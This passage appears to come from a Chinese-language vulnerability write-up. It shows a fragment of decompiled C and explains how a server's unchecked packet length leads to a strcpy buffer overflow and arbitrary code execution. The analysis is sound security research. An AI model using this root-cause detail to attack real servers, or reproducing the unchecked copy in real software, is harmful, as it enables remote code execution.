strcat((char *)(a1 + 28), v10);
return 0;
}
}
这里会调用一处strcpy进行拷贝,从而造成了缓冲区溢出。
总结一下漏洞形成的原因,首先在sub_40ED19函数中,服务器会调用sub_40EDBA处理接收到的数据,当数据成功接收后,会进入sub_40EEBE进行下一步的数据处理,在sub_40EEBE处理数据时,由于对于数据包的长度没有进行严格的判断,从而导致了在后续strcpy调用时发生缓冲区溢出,从而导致任意代码执行。